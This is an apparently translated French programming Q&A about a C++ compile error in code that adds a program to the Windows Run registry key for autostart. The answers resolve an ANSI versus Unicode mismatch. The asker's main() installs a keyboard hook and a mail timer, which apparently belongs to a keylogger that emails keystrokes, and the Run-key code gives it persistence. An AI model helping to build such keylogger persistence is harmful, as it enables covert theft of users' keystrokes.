2017-03-18 2 views
1

J'ai un problème avec du code C++. Pour être plus précis, je veux que le programme qui est en cours d'exécution pour enregistrer une clé de Registre pour le démarrage automatique lorsque Windows démarre.
Le reste du code est placé dans un autre en-tête et je pense que vous n'en avez pas besoin.Problème de clé de registre C++

#include <iostream> 
#include <windows.h> 
#include "KeybHook.h" 
using namespace std; 

int main() 
{ 
    MSG Msg; 
    IO::MkDir (IO::GetOurPath (true)); 
    InstalHook(); 
    while (GetMessage (&Msg, NULL, 0, 0)) 
     { 
      TranslateMessage(&Msg); 
      DispatchMessage(&Msg); 
     } 
    MailTimer.Stop(); 
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe"; 
    HKEY hkey = NULL; 
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key 
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t)); 
    return 0; 
} 

Et je reçois cette erreur à la compilation

main.cpp||In function 'int main()':| 
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'| 
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'| 
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===| 
+0

Une raison spécifique d'utiliser 'wstring' au lieu de' string'? – Arash

+2

@Arash Windows utilise UTF-16, donc 'wstring' est la façon dont vous obtenez le support Unicode. – MrEricSir

+0

Avez-vous lu le message d'erreur? N'a pas expliqué le problème? –

Répondre

3

Vous utilisez les versions ANSI des API Windows, mais vos chaînes sont Unicode.

Vous devriez #define UNICODE et #define _UNICODE (vous avez besoin des deux, l'un pour les API Windows et l'autre pour le Runtime C). Si vous construisez sous un projet Visual Studio, vous pouvez les définir sans modifier votre code en activant "Utiliser le jeu de caractères Unicode" dans les paramètres du projet, sous Général/Jeu de caractères.

+4

Ou utilisez explicitement RegSetValueExW et RegCreateKeyW. –

+0

Eh bien, cela fonctionne de cette façon, mais cela affecte le reste du code. Existe-t-il une autre façon de l'enregistrer sans utiliser UNICODE, en utilisant std :: string au lieu de std :: wstring? –

+0

@GrigorasAndrei: Oui, omettez tous les 'L's principaux de vos chaînes - c'est ce qui les transforme en chaînes Unicode. – RichieHindle